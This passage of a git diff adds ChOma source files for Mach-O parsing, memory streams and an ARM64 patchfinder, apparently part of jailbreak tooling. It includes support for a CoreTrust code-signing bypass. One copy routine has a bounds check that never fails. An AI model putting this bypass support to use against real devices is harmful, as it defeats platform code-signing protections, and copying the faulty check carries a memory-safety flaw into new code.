segment...\n"); + update_segment_command_64(macho, "__LINKEDIT", vmAddress, newVMSize, fileOffset, newSegmentSize); + + // Update the code signature load command + printf("Updating LC_CODE_SIGNATURE load command...\n"); + update_lc_code_signature(macho, sizeOfCodeSignature); + + return 0; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/MachOLoadCommand.h b/XPF/external/ChOma/src/MachOLoadCommand.h new file mode 100644 index 0000000..9fcda6d --- /dev/null +++ b/XPF/external/ChOma/src/MachOLoadCommand.h @@ -0,0 +1,33 @@ +#ifndef MACHO_LOAD_COMMAND_H +#define MACHO_LOAD_COMMAND_H + +#include + +#ifndef LC_FILESET_ENTRY + +#define MH_FILESET 0xc +#define LC_FILESET_ENTRY 0x80000035 + +struct fileset_entry_command { + uint32_t cmd; /* LC_FILESET_ENTRY */ + uint32_t cmdsize; /* includes entry_id string */ + uint64_t vmaddr; /* memory address of the entry */ + uint64_t fileoff; /* file offset of the entry */ + union lc_str entry_id; /* contained entry id */ + uint32_t reserved; /* reserved */ +}; + +#endif + +#include "MachO.h" +#include "FileStream.h" +#include "MachOByteOrder.h" +#include "CSBlob.h" + +// Convert load command to load command name +char *load_command_to_string(int loadCommand); +void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize); +void update_lc_code_signature(MachO *macho, uint64_t size); +int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize); + +#endif // MACHO_LOAD_COMMAND_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/MemoryStream.c b/XPF/external/ChOma/src/MemoryStream.c new file mode 100644 index 0000000..ace8d1d --- /dev/null +++ b/XPF/external/ChOma/src/MemoryStream.c @@ -0,0 +1,220 @@ +#include "MemoryStream.h" +#include "Util.h" + +int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf) +{ + if (stream->read) { + int ret = stream->read(stream, offset, size, outBuf); + if (ret != size) { return -1; } + return 0; + } + return -1; +} + +int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + if (stream->write) { + int ret = stream->write(stream, offset, size, inBuf); + if (ret != size) { return -1; } + return 0; + } + return -1; +} + +int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + if (!(stream->flags & MEMORY_STREAM_FLAG_MUTABLE)) goto fail; + + size_t streamSize = memory_stream_get_size(stream); + if (memory_stream_expand(stream, 0, size) != 0) goto fail; + if (memory_stream_copy_data(stream, offset, stream, offset + size, streamSize-offset) != 0) goto fail; + if (memory_stream_write(stream, offset, size, inBuf) != 0) goto fail; + return 0; + +fail: + printf("Error: memory_stream_insert failed\n"); + return -1; +} + +int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size) +{ + if (size == 0) return 0; + if (!(stream->flags & MEMORY_STREAM_FLAG_MUTABLE)) goto fail; + + size_t streamSize = memory_stream_get_size(stream); + if (memory_stream_copy_data(stream, offset+size, stream, offset, streamSize-(offset+size)) != 0) goto fail; + if (memory_stream_trim(stream, 0, size) != 0) goto fail; + return 0; + +fail: + printf("Error: memory_stream_delete failed\n"); + return -1; +} + +int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString) +{ + size_t size = 0; + char c = 1; + while (c != 0) { + int r = memory_stream_read(stream, offset+size, sizeof(c), &c); + if (r != 0) return r; + size++; + } + + *outString = malloc(size+1); + return memory_stream_read(stream, offset, size+1, *outString); +} + +int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string) +{ + size_t size = strlen(string) + 1; + return memory_stream_write(stream, offset, size, string); +} + +size_t memory_stream_get_size(MemoryStream *stream) +{ + if (stream->getSize) { + size_t sizeOut; + if (stream->getSize(stream, &sizeOut) == 0) return sizeOut; + } + return MEMORY_STREAM_SIZE_INVALID; +} + +uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream) +{ + if (stream->getRawPtr) { + return stream->getRawPtr(stream); + } + return NULL; +} + +uint32_t memory_stream_get_flags(MemoryStream *stream) +{ + return stream->flags; +} + +void _memory_stream_clone(MemoryStream *clone, MemoryStream *stream) +{ + clone->read = stream->read; + clone->write = stream->write; + clone->getSize = stream->getSize; + clone->getRawPtr = stream->getRawPtr; + + clone->trim = stream->trim; + clone->expand = stream->expand; + + clone->softclone = stream->softclone; + clone->hardclone = stream->hardclone; + clone->free = stream->free; +} + +MemoryStream *memory_stream_softclone(MemoryStream *stream) +{ + if (stream->softclone) { + MemoryStream *clone = stream->softclone(stream); + if (clone) { + _memory_stream_clone(clone, stream); + return clone; + } + } + return NULL; +} + +MemoryStream *memory_stream_hardclone(MemoryStream *stream) +{ + if (stream->hardclone) { + MemoryStream *clone = stream->hardclone(stream); + if (clone) { + _memory_stream_clone(clone, stream); + return clone; + } + } + return NULL; +} + +int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd) +{ + if (stream->trim) { + return stream->trim(stream, trimAtStart, trimAtEnd); + } + return -1; +} + +int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd) +{ + if (stream->expand) { + return stream->expand(stream, expandAtStart, expandAtEnd); + } + return -1; +} + +void memory_stream_free(MemoryStream *stream) +{ + if (stream->free) { + stream->free(stream); + } + free(stream); +} + +#define COPY_DATA_BUFFER_SIZE 0x4000 +int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size) +{ + size_t originSize = memory_stream_get_size(originStream); + size_t targetSize = memory_stream_get_size(targetStream); + if (originSize == MEMORY_STREAM_SIZE_INVALID || targetSize == MEMORY_STREAM_SIZE_INVALID) { + printf("Error: memory_stream_copy_data failed, invalid size detected\n"); + return -1; + } + + if (originOffset + size > originSize) { + printf("Error: memory_stream_copy_data failed, originOffset OOB\n"); + return -1; + } + if (targetOffset + size > targetSize && !(memory_stream_get_flags(targetStream) | MEMORY_STREAM_FLAG_AUTO_EXPAND)) { + printf("Error: memory_stream_copy_data failed, targetOffset OOB\n"); + return -1; + } + + bool backwards = (originStream == targetStream) && (targetOffset > originOffset); + + uint8_t buffer[COPY_DATA_BUFFER_SIZE]; + for (uint32_t copiedSize = 0; copiedSize < size; copiedSize += COPY_DATA_BUFFER_SIZE) { + uint32_t remainingSize = size - copiedSize; + uint32_t sizeToCopy = COPY_DATA_BUFFER_SIZE; + if (remainingSize < sizeToCopy) { + sizeToCopy = remainingSize; + } + + uint64_t readOffset = backwards ? ((originOffset + (size - copiedSize)) - sizeToCopy) : (originOffset + copiedSize); + uint64_t writeOffset = backwards ? ((targetOffset + (size - copiedSize)) - sizeToCopy) : (targetOffset + copiedSize); + + int rr = memory_stream_read(originStream, readOffset, sizeToCopy, buffer); + if (rr != 0) { + printf("Error: memory_stream_copy_data failed on memory_stream_read (%d)\n", rr); + return rr; + } + int wr = memory_stream_write(targetStream, writeOffset, sizeToCopy, buffer); + if (wr != 0) { + printf("Error: memory_stream_copy_data failed on memory_stream_write (%d)\n", wr); + return rr; + } + } + + return 0; +} + +int memory_stream_find_memory(MemoryStream *stream, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut) +{ + __block int r = -1; + enumerate_range(searchStartOffset, searchEndOffset, alignment, nbytes, ^bool(uint64_t cur) { + uint8_t buf[nbytes]; + memory_stream_read(stream, cur, nbytes, buf); + if (!memcmp_masked(buf, bytes, mask, nbytes)) { + *foundOffsetOut = cur; + r = 0; + return false; + } + return true; + }); + return r; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/MemoryStream.h b/XPF/external/ChOma/src/MemoryStream.h new file mode 100644 index 0000000..ba00102 --- /dev/null +++ b/XPF/external/ChOma/src/MemoryStream.h @@ -0,0 +1,60 @@ +#ifndef MEMORY_STREAM_H +#define MEMORY_STREAM_H + +#include +#include +#include +#include +#include +#include +#include + +#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0) +#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1) +#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2) + +#define MEMORY_STREAM_SIZE_INVALID (size_t)-1 + +// A generic memory IO interface that is used throughout this project +// Can be backed by anything, just the functions have to be implemented +typedef struct s_MemoryStream { + void *context; + uint32_t flags; + + int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf); + int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); + int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut); + uint8_t *(*getRawPtr)(struct s_MemoryStream *stream); + + int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd); + int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + + struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream); + struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream); + void (*free)(struct s_MemoryStream *stream); +} MemoryStream; + +int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf); +int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); + +int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); +int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size); + +int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString); +int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string); + +size_t memory_stream_get_size(MemoryStream *stream); +uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream); +uint32_t memory_stream_get_flags(MemoryStream *stream); + +MemoryStream *memory_stream_softclone(MemoryStream *stream); +MemoryStream *memory_stream_hardclone(MemoryStream *stream); +int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd); +int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + +void memory_stream_free(MemoryStream *stream); + +int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size); +int memory_stream_find_memory(MemoryStream *stream, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut); + +#endif // MEMORY_STREAM_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/PatchFinder.c b/XPF/external/ChOma/src/PatchFinder.c new file mode 100644 index 0000000..cea2ad7 --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder.c @@ -0,0 +1,617 @@ +#include "PatchFinder.h" +#include "MachO.h" +#include "MemoryStream.h" +#include "Util.h" +#include "PatchFinder_arm64.h" +#include + +void pfsec_info_populate_section(PFSectionInfo *sectionInfo, struct section_64 *section, MachOSegment *segment) +{ + sectionInfo->fileoff = section->offset; + sectionInfo->vmaddr = section->addr; + sectionInfo->size = section->size; + sectionInfo->initprot = segment->command.initprot; + sectionInfo->maxprot = segment->command.maxprot; + + strncpy(sectionInfo->segname, segment->command.segname, sizeof(segment->command.segname)); + sectionInfo->segname[sizeof(sectionInfo->segname)-1] = '\0'; + + strncpy(sectionInfo->sectname, section->sectname, sizeof(section->sectname)); + sectionInfo->sectname[sizeof(sectionInfo->sectname)-1] = '\0'; +} + +void pfsec_info_populate_segment(PFSectionInfo *sectionInfo, MachOSegment *segment) +{ + sectionInfo->fileoff = segment->command.fileoff; + sectionInfo->vmaddr = segment->command.vmaddr; + sectionInfo->size = segment->command.vmsize; + sectionInfo->initprot = segment->command.initprot; + sectionInfo->maxprot = segment->command.maxprot; + + strncpy(sectionInfo->segname, segment->command.segname, sizeof(segment->command.segname)); + sectionInfo->segname[sizeof(sectionInfo->segname)-1] = '\0'; + + sectionInfo->sectname[0] = '\0'; +} + +void pfsec_info_populate_dsc_mapping(PFSectionInfo *sectionInfo, DyldSharedCacheMapping *dscMapping) +{ + sectionInfo->fileoff = dscMapping->fileoff; + sectionInfo->vmaddr = dscMapping->vmaddr; + sectionInfo->size = dscMapping->size; + sectionInfo->initprot = dscMapping->initProt; + sectionInfo->maxprot = dscMapping->maxProt; + + char dscIdxStr[3]; + size_t filepathLen = strlen(dscMapping->file->filepath); + if (dscMapping->file->filepath[filepathLen-3] == '.') { + strncpy(dscIdxStr, &dscMapping->file->filepath[filepathLen-2], sizeof(dscIdxStr)); + } + else { + strncpy(dscIdxStr, "00", sizeof(dscIdxStr)); + } + + snprintf(sectionInfo->segname, sizeof(sectionInfo->segname), "__DSC_%s", dscIdxStr); + + if (dscMapping->flags & DYLD_CACHE_MAPPING_AUTH_DATA) { + strlcpy(sectionInfo->sectname, "__auth_data", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_MAPPING_DIRTY_DATA) { + strlcpy(sectionInfo->sectname, "__data", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_MAPPING_CONST_DATA) { + strlcpy(sectionInfo->sectname, "__const_data", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_MAPPING_TEXT_STUBS) { + strlcpy(sectionInfo->sectname, "__text_stubs", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_DYNAMIC_CONFIG_DATA) { + strlcpy(sectionInfo->sectname, "__config_data", sizeof(sectionInfo->sectname)); + } +} + +int raw_buffer_find_memory(uint8_t *buf, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut) +{ + __block int r = -1; + enumerate_range(searchStartOffset, searchEndOffset, alignment, nbytes, ^bool(uint64_t cur) { + if (!memcmp_masked(&buf[cur], bytes, mask, nbytes)) { + *foundOffsetOut = cur; + r = 0; + return false; + } + return true; + }); + return r; +} + +PFSection *pfsec_init_from_macho(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName) +{ + PFSection *pfSection = NULL; + MachO *machoToUse = NULL; + if (filesetEntryId) { + // try to find a fileset macho with this identifier + for (uint32_t i = 0; i < macho->filesetCount; i++) { + FilesetMachO *filesetMacho = &macho->filesetMachos[i]; + if (filesetMacho->underlyingMachO->slicesCount == 1) { + if (!strcmp(filesetMacho->entry_id, filesetEntryId)) { + machoToUse = filesetMacho->underlyingMachO->slices[0]; + break; + } + } + } + } + else { + machoToUse = macho; + } + + if (machoToUse) { + MachOSegment *segment = NULL; + for (uint32_t i = 0; i < machoToUse->segmentCount; i++) { + MachOSegment *segmentCandidate = machoToUse->segments[i]; + if (!strncmp(segmentCandidate->command.segname, segName, sizeof(segmentCandidate->command.segname))) { + segment = segmentCandidate; + break; + } + } + if (segment) { + if (sectName) { + struct section_64 *section = NULL; + for (uint32_t i = 0; i < segment->command.nsects; i++) { + struct section_64 *sectionCandidate = &segment->sections[i]; + if (!strncmp(sectionCandidate->sectname, sectName, sizeof(sectionCandidate->sectname))) { + section = sectionCandidate; + } + } + if (section) { + pfSection = malloc(sizeof(PFSection)); + memset(pfSection, 0, sizeof(PFSection)); + pfsec_info_populate_section(&pfSection->info, section, segment); + } + } + else { + pfSection = malloc(sizeof(PFSection)); + memset(pfSection, 0, sizeof(PFSection)); + pfsec_info_populate_segment(&pfSection->info, segment); + } + } + } + + if (pfSection) { + pfSection->cache = NULL; + + MemoryStream *stream = memory_stream_softclone(macho->stream); + memory_stream_trim(stream, pfSection->info.fileoff, memory_stream_get_size(stream) - (pfSection->info.fileoff + pfSection->info.size)); + + pfSection->stream = stream; + pfSection->macho = macho; + } + + return pfSection; +} + +PFSection *pfsec_init_from_dsc_mapping(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping) +{ + if (!sharedCache || !mapping) return NULL; + + PFSection *pfSection = malloc(sizeof(PFSection)); + if (!pfSection) return NULL; + memset(pfSection, 0, sizeof(PFSection)); + + pfsec_info_populate_dsc_mapping(&pfSection->info, mapping); + + pfSection->sharedCache = sharedCache; + + return pfSection; +} + +MachO *pfsec_get_macho(PFSection *section) +{ + return section->macho; +} + +DyldSharedCache *pfsec_get_dsc(PFSection *section) +{ + return section->sharedCache; +} + +void pfsec_set_pointer_decoder(PFSection *section, uint64_t (*pointerDecoder)(struct s_PFSection *section, uint64_t vmaddr, uint64_t value)) +{ + section->pointerDecoder = pointerDecoder; +} + +int pfsec_read_reloff(PFSection *section, uint64_t rel, size_t size, void *outBuf) +{ + if (rel > section->info.size) return -1; + + void *rawPtr = pfsec_get_raw_pointer(section); + if (rawPtr) { + memcpy(outBuf, &rawPtr[rel], size); + return 0; + } + else { + // XXX: This does not work for MachOs that are inside the DSC + // This code path will never be used for that however, since all DSC MachOs have a raw pointer + return memory_stream_read(section->stream, rel, size, outBuf); + } + + return -1; +} + +uint32_t pfsec_read32_reloff(PFSection *section, uint64_t rel) +{ + uint32_t r = 0; + pfsec_read_reloff(section, rel, sizeof(r), &r); + return r; +} + +int pfsec_read_string_reloff(PFSection *section, uint64_t rel, char **outString) +{ + if (rel > section->info.size) return -1; + + uint8_t *rawPtr = pfsec_get_raw_pointer(section); + if (rawPtr) { + const char *curString = (const char *)&rawPtr[rel]; + + // make sure we don't end up reading OOB memory + if ((uint8_t *)&curString[strnlen(curString, section->info.size - rel)] >= &rawPtr[section->info.size]) { + return -1; + } + + *outString = strdup(curString); + return 0; + } + else if (section->stream) { + // XXX: This does not work for MachOs that are inside the DSC + // This code path will never be used for that however, since all DSC MachOs have a raw pointer + return memory_stream_read_string(section->stream, rel, outString); + } + + return -1; +} + +int pfsec_read_string(PFSection *section, uint64_t vmaddr, char **outString) +{ + if (vmaddr < section->info.vmaddr) return -1; + return pfsec_read_string_reloff(section, vmaddr - section->info.vmaddr, outString); +} + +int pfsec_read_at_address(PFSection *section, uint64_t vmaddr, void *outBuf, size_t size) +{ + if (vmaddr < section->info.vmaddr) return -1; + if (vmaddr + size > section->info.vmaddr + section->info.size) return -1; + + uint64_t rel = vmaddr - section->info.vmaddr; + return pfsec_read_reloff(section, rel, size, outBuf); +} + +uint32_t pfsec_read32(PFSection *section, uint64_t vmaddr) +{ + uint32_t r = 0; + pfsec_read_at_address(section, vmaddr, &r, sizeof(r)); + return r; +} + +uint64_t pfsec_read64(PFSection *section, uint64_t vmaddr) +{ + uint64_t r = 0; + pfsec_read_at_address(section, vmaddr, &r, sizeof(r)); + return r; +} + +uint64_t pfsec_read_pointer(PFSection *section, uint64_t vmaddr) +{ + uint64_t value = pfsec_read64(section, vmaddr); + if (section->pointerDecoder) { + return section->pointerDecoder(section, vmaddr, value); + } + return value; +} + +int pfsec_set_cached(PFSection *section, bool cached) +{ + bool isCachedAlready = (bool)section->cache; + if (cached != isCachedAlready && section->stream) { + if (cached) { + // If we already have a raw pointer, caching is obsolete + if (pfsec_get_raw_pointer(section)) return 0; + + void *cache = malloc(section->info.size); + int r = pfsec_read_reloff(section, 0, section->info.size, cache); + if (r != 0) { + free(cache); + return r; + } + section->cache = cache; + } + else { + free(section->cache); + section->cache = NULL; + } + } + return 0; +} + +void *pfsec_get_raw_pointer(PFSection *section) +{ + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (!sharedCache) { + MachO *macho = pfsec_get_macho(section); + if (macho) { + sharedCache = macho->containingCache; + } + } + if (sharedCache) { + return dsc_find_buffer(sharedCache, section->info.vmaddr, section->info.size); + } + + uint8_t *rawPtr = NULL; + if (section->stream) { + rawPtr = memory_stream_get_raw_pointer(section->stream); + } + + if (rawPtr) { + return rawPtr; + } + else if(section->cache) { + return section->cache; + } + return NULL; +} + +int pfsec_find_memory_rel(PFSection *section, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundRelOffsetOut) +{ + void *rawPtr = pfsec_get_raw_pointer(section); + if (rawPtr) { + return raw_buffer_find_memory(rawPtr, searchStartOffset, searchEndOffset, bytes, mask, nbytes, alignment, foundRelOffsetOut); + } + else if (section->stream) { + // XXX: This does not work for MachOs that are inside the DSC + // This code path will never be used for that however, since all DSC MachOs have a raw pointer + return memory_stream_find_memory(section->stream, searchStartOffset, searchEndOffset, bytes, mask, nbytes, alignment, foundRelOffsetOut); + } + + return -1; +} + +int pfsec_find_memory(PFSection *section, uint64_t searchStartAddr, uint64_t searchEndAddr, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundAddrOut) +{ + // Ensure searchStartAddr and searchEndAddr stay within section bounds + if (searchStartAddr < section->info.vmaddr) searchStartAddr = section->info.vmaddr; + if (searchEndAddr < section->info.vmaddr) searchEndAddr = section->info.vmaddr; + if (searchStartAddr > (section->info.vmaddr + section->info.size)) searchStartAddr = section->info.vmaddr + section->info.size; + if (searchEndAddr > (section->info.vmaddr + section->info.size)) searchEndAddr = section->info.vmaddr + section->info.size; + + uint64_t foundRelOff = 0; + int r = pfsec_find_memory_rel(section, searchStartAddr - section->info.vmaddr, searchEndAddr - section->info.vmaddr, bytes, mask, nbytes, alignment, &foundRelOff); + if (r == 0) { + *foundAddrOut = section->info.vmaddr + foundRelOff; + } + + return r; +} + +// pfsec_find_prev_inst will start searching at the instruction *before* the instruction at startAddr +// + 0x1000: [first search comparison] +// + 0x1004: [startAddr] + +uint64_t pfsec_find_prev_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask) +{ + uint64_t out = 0; + uint64_t endAddr = searchCount ? (startAddr - (sizeof(uint32_t) * searchCount)) : section->info.vmaddr; + pfsec_find_memory(section, startAddr, endAddr, &inst, &mask, sizeof(inst), sizeof(uint32_t), &out); + if (!out) return 0; + return out; +} + +// pfsec_find_next_inst will start searching at the instruction at startAddr +// + 0x1000: [startAddr, first search comparison] + +uint64_t pfsec_find_next_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask) +{ + uint64_t out = 0; + uint64_t endAddr = searchCount ? (startAddr + (sizeof(uint32_t) * searchCount)) : (section->info.vmaddr + section->info.size); + pfsec_find_memory(section, startAddr, endAddr, &inst, &mask, sizeof(inst), sizeof(uint32_t), &out); + if (!out) return 0; + return out; +} + +uint64_t pfsec_find_function_start(PFSection *section, uint64_t midAddr) +{ + uint32_t cputype = 0; + uint32_t cpusubtype = 0; + + MachO *macho = pfsec_get_macho(section); + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (macho) { + cputype = macho->machHeader.cputype; + cpusubtype = macho->machHeader.cpusubtype; + + // If the MachO contains function starts, use those to determine the function start + __block uint64_t start = 0; + if (macho_enumerate_function_starts(macho, ^(uint64_t funcAddr, bool *stop){ + if (funcAddr <= midAddr) { + start = funcAddr; + } + else { + *stop = true; + } + }) == 0) { + if (start >= section->info.vmaddr && start < (section->info.vmaddr + section->info.size)) { + return start; + } + } + } + else if (sharedCache) { + cputype = sharedCache->cputype; + cpusubtype = sharedCache->cpusubtype; + } + + // If there are no function starts, try to find them based on a heuristic approach + if (cputype == CPU_TYPE_ARM64) { + if ((cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E) { + // Find start of function by going back until we find a PACIBSP + uint64_t addr = midAddr; + while (addr > section->info.vmaddr && addr < (section->info.vmaddr + section->info.size)) { + uint32_t curInst = pfsec_read32(section, addr); + if (curInst == 0xd503237f) return addr; + addr -= 4; + } + } + else if ((cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64_ALL) { + // Find start of function by going back until we find a stack frame push + // Technique adapted from pongoOS + uint64_t frameAddr = pfsec_find_prev_inst(section, midAddr, 0, 0x910003fd, 0xff8003ff); // add x29, sp, ? + if (frameAddr) { + uint64_t start = pfsec_find_prev_inst(section, frameAddr, 10, 0x29a003e0, 0x3be003e0); // stp ?, ?, [sp, ?]! + if (!start) { + start = pfsec_find_prev_inst(section, frameAddr, 10, 0xd10003ff, 0xff8003ff); // sub sp, sp, ? + } + return start; + } + } + } + return 0; +} + +bool pfsec_contains_vmaddr(PFSection *section, uint64_t addr) +{ + return (addr >= section->info.vmaddr && addr < (section->info.vmaddr + section->info.size)); +} + +void pfsec_free(PFSection *section) +{ + if (section->stream) { + memory_stream_free(section->stream); + } + pfsec_set_cached(section, false); + free(section); +} + +void _pfsec_run_pattern_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFPatternMetric *patternMetric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + uint16_t alignment = patternMetric->alignment; + + while (pfsec_find_memory(section, startAddr, endAddr, patternMetric->bytes, patternMetric->mask, patternMetric->nbytes, alignment, &startAddr) == 0) { + bool stop = false; + matchBlock(startAddr, &stop); + if (stop) break; + + if (endAddr >= startAddr) { + startAddr += alignment; + } + else { + // When searching backwards, the search will automatically start one instruction before startAddr + // Due to that, we do not need to decrement it by anything + } + } +} + +PFPatternMetric *pfmetric_pattern_init(void *bytes, void *mask, size_t nbytes, uint16_t alignment) +{ + PFPatternMetric *metric = malloc(sizeof(PFPatternMetric)); + + metric->shared.type = PFMETRIC_TYPE_PATTERN; + metric->bytes = bytes; + metric->mask = mask; + metric->nbytes = nbytes; + metric->alignment = alignment; + + return metric; +} + +void _pfsec_run_string_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFStringMetric *stringMetric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + char *str = NULL; + uint64_t searchOffset = 0; + while (pfsec_read_string_reloff(section, searchOffset, &str) == 0) { + if (!strcmp(str, stringMetric->string)) { + bool stop = false; + matchBlock(section->info.vmaddr + searchOffset, &stop); + if (stop) break; + } + searchOffset += strlen(str)+1; + free(str); + } +} + +PFStringMetric *pfmetric_string_init(const char *string) +{ + PFStringMetric *metric = malloc(sizeof(PFStringMetric)); + + metric->shared.type = PFMETRIC_TYPE_STRING; + metric->string = strdup(string); + + return metric; +} + +void _pfsec_run_arm64_xref_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFXrefMetric *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + Arm64XrefTypeMask arm64Types = 0; + if (metric->typeMask == 0) return; + if (metric->typeMask & XREF_TYPE_MASK_CALL) { + arm64Types |= ARM64_XREF_TYPE_MASK_CALL; + } + if (metric->typeMask & XREF_TYPE_MASK_JUMP) { + arm64Types |= ARM64_XREF_TYPE_MASK_JUMP; + } + if (metric->typeMask & XREF_TYPE_MASK_REFERENCE) { + arm64Types |= ARM64_XREF_TYPE_MASK_REFERENCE; + } + if (metric->typeMask & XREF_TYPE_MASK_POINTER) { + arm64Types |= ARM64_XREF_TYPE_MASK_POINTER; + } + + pfsec_arm64_enumerate_xrefs(section, arm64Types, ^(Arm64XrefType type, uint64_t source, uint64_t target, bool *stop) { + bool match = false; + if (metric->dynamicHandler) { + match = metric->dynamicHandler(section, metric, source, target); + } + else { + match = (target == metric->address); + } + + if (match) { + matchBlock(source, stop); + } + }); +} + +void _pfsec_run_xref_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFXrefMetric *xrefMetric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + uint32_t cputype = 0; + MachO *macho = pfsec_get_macho(section); + if (macho) { + cputype = macho->machHeader.cputype; + } + else { + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (sharedCache) { + cputype = sharedCache->cputype; + } + } + + switch(cputype) { + case CPU_TYPE_ARM64: + _pfsec_run_arm64_xref_metric(section, startAddr, endAddr, xrefMetric, matchBlock); + break; + } +} + +PFXrefMetric *pfmetric_xref_init(uint64_t address, PFXrefTypeMask types) +{ + PFXrefMetric *metric = malloc(sizeof(PFXrefMetric)); + if (!metric) return NULL; + memset(metric, 0, sizeof(PFXrefMetric)); + + metric->shared.type = PFMETRIC_TYPE_XREF; + metric->address = address; + metric->typeMask = types; + + return metric; +} + +PFXrefMetric *pfmetric_dynamic_xref_init(bool (*dynamicHandler)(PFSection *section, PFXrefMetric *metric, uint64_t location, uint64_t target), void *ctx, PFXrefTypeMask types) +{ + PFXrefMetric *metric = malloc(sizeof(PFXrefMetric)); + if (!metric) return NULL; + memset(metric, 0, sizeof(PFXrefMetric)); + + metric->shared.type = PFMETRIC_TYPE_XREF; + metric->dynamicHandler = dynamicHandler; + metric->ctx = ctx; + metric->typeMask = types; + + return metric; +} + +void pfmetric_free(void *metric) +{ + uint32_t type = ((PFPatternMetric *)metric)->shared.type; + if (type == PFMETRIC_TYPE_STRING) { + free(((PFStringMetric *)metric)->string); + } + free(metric); +} + +void pfmetric_run_in_range(PFSection *section, uint64_t startAddr, uint64_t endAddr, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + if (startAddr == -1ULL) startAddr = section->info.vmaddr; + if (endAddr == -1ULL) endAddr = section->info.vmaddr + section->info.size; + + MetricShared *shared = metric; + switch (shared->type) { + case PFMETRIC_TYPE_PATTERN: { + _pfsec_run_pattern_metric(section, startAddr, endAddr, metric, matchBlock); + break; + } + case PFMETRIC_TYPE_STRING: { + _pfsec_run_string_metric(section, startAddr, endAddr, metric, matchBlock); + break; + } + case PFMETRIC_TYPE_XREF: { + _pfsec_run_xref_metric(section, startAddr, endAddr, metric, matchBlock); + break; + } + } +} + +void pfmetric_run(PFSection *section, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + return pfmetric_run_in_range(section, -1, -1, metric, matchBlock); +} diff --git a/XPF/external/ChOma/src/PatchFinder.h b/XPF/external/ChOma/src/PatchFinder.h new file mode 100644 index 0000000..14d8256 --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder.h @@ -0,0 +1,105 @@ +#ifndef PATCHFINDER_H +#define PATCHFINDER_H + +#include +#include "MachO.h" + +enum { + PFMETRIC_TYPE_PATTERN, + PFMETRIC_TYPE_STRING, + PFMETRIC_TYPE_XREF, +}; + 